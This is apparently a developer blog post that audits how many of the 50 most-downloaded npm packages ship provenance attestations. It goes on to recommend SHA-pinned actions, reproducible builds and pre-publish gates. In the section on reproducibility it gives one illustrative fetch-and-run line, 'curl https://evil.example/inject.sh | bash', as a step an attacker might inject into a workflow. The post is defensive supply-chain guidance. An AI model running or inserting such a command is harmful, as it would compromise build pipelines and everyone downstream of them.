TL;DR
I checked the 50 most-downloaded npm packages last week to see how many ship with supply-chain provenance.
Six...
That's 12%, roughly three years after npm launched provenance (public beta April 2023, GA September 2023).
The other 44 tarballs are signed by the npm registry and nothing else. Nothing actually links them back to a source
commit, a CI run, or even a specific human. Your package-lock.json guarantees tarball integrity, but not who built the
tarball or from which source.
The basic fix is two lines. The full fix is harder, and that's the point of this post.
The audit
I took the 50 most-downloaded npm packages by weekly downloads (npm public downloads API, week of 6th-12th April 2026).
For each one, I fetched the latest version manifest and then checked the npm attestations endpoint for a
slsa.dev/provenance/v1 predicate. No predicate, no provenance.
Six packages do however have it: semver, emoji-regex, eslint-visitor-keys, esbuild, agent-base,
eslint-scope. The two ESLint packages share a release pipeline, so the honest count is five independent publishers out
of fifty.
There's a full table at the bottom. A few things jumped out at me, as I went through it.
What's NOT in the top 50!
Look at what isn't there: react, lodash, axios, express, vue, webpack, vite, dotenv, eslint. None of them.
The top 50 by raw weekly downloads is dominated by the transitive utility layer everyone depends on: chalk, ansi-styles,
semver, debug, ms, picomatch, glob. The packages developers name as their dependencies sit below position 50. The
packages those packages depend on, transitively, sit at the top.
Which means the supply-chain layer underneath everything you ship has 12% provenance.
The single biggest gap: @types/node
@types/node ranks #17 with 290 million weekly downloads and ships with no attestations of any kind. It is published by
the DefinitelyTyped publish bot, and every TypeScript project on the planet pulls it in. Of the 44 packages in the top
50 without provenance, this is the single largest by download volume. Fixing this one package alone would deliver more
attestation coverage to the ecosystem than any other single change.
Meta publishes react-is without provenance
react-is has 245 million weekly downloads. Look at how it gets published.
It's pushed by react-bot from npm CLI version 10.8.2. No attestation. No CI identity. No commit binding. No Sigstore
signature. Whatever workflow produced this tarball, the registry has no record tying it to a specific source commit.
This is Meta. They run some of the most sophisticated CI in the world. React might be the most consequential JavaScript
artefact on the planet. And a utility package in the React ecosystem ships with less provenance than a hobbyist's side
project, because the hobbyist is esbuild.
Microsoft publishes typescript without provenance
typescript (163M weekly) and tslib (337M weekly) are both pushed by typescript-bot with no attestations. Microsoft
is a Sigstore steward. Azure has an entire product wing around supply-chain attestation. And the packages backing every
TypeScript build in the world have no cryptographic link to their source.
ms@2.1.3 has been load-bearing since 2020
ms has 395 million weekly downloads. The current latest, 2.1.3, was published in December 2020. Publisher is
styfle, a Vercel engineer, pushing from a personal account. No CI, no attestation, no stable release since December
2020.
Every Node.js application you've ever built has ms several layers deep. If styfle's npm account happened to be
compromised, an attacker could push ms@2.1.4 with a cryptominer in it, and every fresh npm install in the world
would pull it within hours. The only thing preventing this is that nobody has done it yet.
Sindre Sorhus publishes 13 of the 50
Thirteen of the top 50 are Sindre's: chalk, strip-ansi, supports-color, ansi-regex, ansi-styles, has-flag,
find-up, locate-path, path-exists, string-width, wrap-ansi, path-key, get-stream. Zero with provenance.
If one maintainer adopted provenance across his portfolio, the headline stat in this post would shift from 12% to 38%.
Only one org does this consistently: ESLint
The six positives break down into five publishers: the npm team (semver), Mathias Bynens (emoji-regex), Evan Wallace (
esbuild), TooTallNate (agent-base via the proxy-agents monorepo), and the ESLint org (eslint-visitor-keys and
eslint-scope, both via release-please). Of those, only ESLint ships provenance across multiple packages. Every other
positive is a one-off — a single maintainer who bolted provenance onto one package. There is no broader org push visible
in the top 50 yet.
The two-line fix
If you maintain a package, here's the fix.
permissions:
id-token: write
contents: read
- run: npm publish --provenance --access public
First block opts your workflow into OIDC. Second tells npm to attach a provenance attestation. Done. Every release from
now on carries a Sigstore-signed claim linking the tarball back to a specific commit and workflow run.
pnpm and yarn have equivalent --provenance flags. JSR auto-includes attestations when publishing from CI.
That's the headline ask. If you stop reading here and ship that change, you've improved the supply-chain posture of
every consumer of your package. Worth doing.
But provenance alone doesn't save you. Here's why.
The tj-actions story
On 14 March 2025 someone compromised the tj-actions/changed-files GitHub Action (CVE-2025-30066). It's used in over
23,000 repositories to work out which files changed in a PR.
The attacker repointed multiple existing Git tags (v1.0.0, v35.7.7-sec, v44.5.1, v5, several others) to a single
malicious commit, 0e58ed8671d6b60d0890c21b07f8835ace038e67. That commit dumped CI/CD secrets out of runner memory and
into the action's own log output. For public repos, anyone with a browser could harvest them.
The fix, then and now, is SHA-pinning. If your workflow uses this:
- uses: tj-actions/changed-files@v44
You're trusting whatever commit v44 happens to point to right now. The maintainer, or an attacker who controls the
maintainer's GitHub account, can change that commit at any time and you won't notice.
Pin to a SHA instead:
- uses: tj-actions/changed-files@<full-commit-sha> # plus a comment with the version it corresponds to
That commit is immutable. The same workflow run a year from now uses the same code.
So your release workflow needs provenance AND SHA-pinned actions. Two separate protections, neither of which gives you
the other.
The reproducibility gap
There's a third gap. Even with provenance and SHA-pinned actions, you're trusting the workflow itself.
Provenance proves the tarball came out of your-repo/.github/workflows/release.yml at commit abc123. It does not
prove that someone independently verifying the source can rebuild the same tarball.
Why does that matter? If your workflow is compromised, say an attacker pushes a commit that runs an extra
curl https://evil.example/inject.sh | bash before the publish step, the resulting tarball will have a perfectly valid
provenance attestation. The attestation just says "this came from this workflow at this commit." It doesn't say "this
matches what a clean rebuild from source would produce."
Reproducible builds close that gap. The workflow records exactly how the tarball was built. A third party (you, a
security researcher, a paranoid downstream consumer) can clone the source at the recorded commit, run the same build,
and check the output matches the published tarball bit-for-bit. If it doesn't match, something injected itself between
the source and the artefact.
This is harder to set up than provenance. You need deterministic builds, a documented build environment, and
verification tooling. Most npm packages don't bother. Most of them probably could.
The pre-publish gate gap
There's a fourth gap, and this one's almost trivial but almost nobody enforces it.
If your workflow runs npm publish without first running npm test, npm run lint, and npm run typecheck and
failing the publish if any of them fail, you've left a window for shipping broken code by accident.
This isn't a supply-chain attack class on its own. But it compounds the others. If your tests would have caught a
malicious commit but they didn't run before the publish, the malicious commit ships. If your linter would have flagged
the suspicious eval() but it didn't run, the flag is silent.
Every reasonable release pipeline should have hard pre-publish gates. Most don't. Adding them to a workflow is a few
dozen lines of YAML and an afternoon of debugging your jobs DAG.
The full defence is four things
Pulling this together:
- Provenance attestations: link the tarball to a specific source commit and workflow
- SHA-pinned action dependencies: actions can't be swapped under you
- Reproducible build verification: third parties can verify the tarball matches source
- Hard pre-publish gates: tests, lint, type-check must pass or no release
Each one is honestly, not that hard on its own. The problem is doing all four, getting them right and keeping them right
as your workflow evolves, and... not breaking anything in the process.
A typical release workflow trying to do all four ends up at 200 to 400 lines of YAML, with shell scripts inlined as
run: blocks, error handling that's easy to get wrong, and edge cases (what if the tag doesn't match the version?, what
if the changelog is missing?, what if the prepack script tries to escape the JSON parser?) that mostly get discovered
the hard way.
Where to start
The two-line provenance fix is the easiest win. Ship that today, please. Whichever package you maintain, your downstream
users are better off for it.
For the rest (SHA-pinning, reproducibility verification, pre-publish gates), wire them into your own workflow as you
have time. The four ideas matter more than any particular implementation.
If you'd rather start from a worked example, i've been hacking on a small GitHub Action
called anvil that bundles all four. Pure bash, no npm dependencies, sized to be
readable end-to-end. Take it, fork it, ignore it, whatever's useful for you.
What none of this covers
Even with all four protections in place, three things stay outside:
- Compromise of your source repo. If an attacker has commit access and pushes malicious code, the pipeline will faithfully build, attest, and publish that code. Garbage in, signed garbage out. The defence here is branch protections, code review, and a trusted committer set.
- Compromise of npm itself. The attestation infrastructure trusts npm's registry to serve attestation files honestly. If npm is compromised, all bets are off across the ecosystem.
- Weak tests. Pre-publish gates fire if your tests pass. Weak tests mean weak gates. The pipeline audits your release process, not your code.
These protections make the publishing journey trustworthy. They don't make your code trustworthy. Different problem.
The full data
| # | Package | Weekly DLs | Latest | Provenance? |
|---|---|---|---|---|
| 1 | semver | 610,243,244 | 7.7.4 | YES |
| 2 | debug | 532,691,311 | 4.4.3 | no |
| 3 | minimatch | 523,461,265 | 10.2.5 | no |
| 4 | ansi-styles | 522,769,972 | 6.2.3 | no |
| 5 | strip-ansi | 411,102,176 | 7.2.0 | no |
| 6 | chalk | 396,817,233 | 5.6.2 | no |
| 7 | ms | 395,779,232 | 2.1.3 | no |
| 8 | supports-color | 385,913,524 | 10.2.2 | no |
| 9 | ansi-regex | 379,372,821 | 6.2.2 | no |
| 10 | string-width | 364,135,592 | 8.2.0 | no |
| 11 | commander | 340,189,824 | 14.0.3 | no |
| 12 | tslib | 337,234,183 | 2.8.1 | no |
| 13 | picomatch | 323,026,531 | 4.0.4 | no |
| 14 | wrap-ansi | 320,436,278 | 10.0.0 | no |
| 15 | emoji-regex | 312,985,608 | 10.6.0 | YES |
| 16 | glob | 309,837,287 | 13.0.6 | no |
| 17 | @types/node | 290,430,824 | 25.6.0 | no |
| 18 | color-name | 264,344,627 | 2.1.0 | no |
| 19 | color-convert | 262,462,195 | 3.1.3 | no |
| 20 | readable-stream | 261,917,376 | 4.7.0 | no |
| 21 | eslint-visitor-keys | 254,322,113 | 5.0.1 | YES |
| 22 | has-flag | 250,891,975 | 5.0.1 | no |
| 23 | ajv | 249,009,348 | 8.18.0 | no |
| 24 | react-is | 245,659,013 | 19.2.5 | no |
| 25 | uuid | 230,086,504 | 13.0.0 | no |
| 26 | find-up | 229,152,120 | 8.0.0 | no |
| 27 | glob-parent | 226,159,537 | 6.0.2 | no |
| 28 | safe-buffer | 222,239,808 | 5.2.1 | no |
| 29 | locate-path | 220,855,701 | 8.0.0 | no |
| 30 | postcss | 195,793,780 | 8.5.9 | no |
| 31 | string_decoder | 188,111,762 | 1.3.0 | no |
| 32 | acorn | 183,503,639 | 8.16.0 | no |
| 33 | mime-db | 180,737,586 | 1.54.0 | no |
| 34 | ws | 177,306,431 | 8.20.0 | no |
| 35 | mime-types | 177,084,777 | 3.0.2 | no |
| 36 | path-key | 176,474,004 | 4.0.0 | no |
| 37 | yargs-parser | 170,472,845 | 22.0.0 | no |
| 38 | yargs | 167,217,371 | 18.0.0 | no |
| 39 | estraverse | 166,362,125 | 5.3.0 | no |
| 40 | esbuild | 164,021,497 | 0.28.0 | YES |
| 41 | typescript | 163,781,296 | 6.0.2 | no |
| 42 | fs-extra | 161,928,194 | 11.3.4 | no |
| 43 | agent-base | 159,319,294 | 9.0.0 | YES |
| 44 | cliui | 157,997,558 | 9.0.1 | no |
| 45 | path-exists | 157,258,167 | 5.0.0 | no |
| 46 | json5 | 157,069,492 | 2.2.3 | no |
| 47 | eslint-scope | 155,326,676 | 9.1.2 | YES |
| 48 | get-stream | 154,148,256 | 9.0.1 | no |
| 49 | @babel/code-frame | 153,078,228 | 7.29.0 | no |
| 50 | @babel/types | 152,109,091 | 7.29.0 | no |
Methodology
- Audit date: 13 April 2026
-
Download ranking: npm public downloads API (
api.npmjs.org/downloads/point/last-week/<pkg>), aggregated from a candidate pool of around 868 high-traffic packages including the full@types/*,@babel/*, framework families, build tooling, ESLint plugins, and common scoped packages, then sorted by weekly downloads -
Provenance check:
registry.npmjs.org/-/npm/v1/attestations/<pkg>@<version>, verifyingslsa.dev/provenance/v1predicate type -
Verification: each positive result had its DSSE envelope payload decoded and inspected for
predicate.buildDefinition.externalParameters.workflowto confirm the binding to source
The ranking is accurate to within a few positions inside the top 50. The 6/50 headline is unaffected by minor rank
swaps. Raw audit data available on request.
Top comments (0)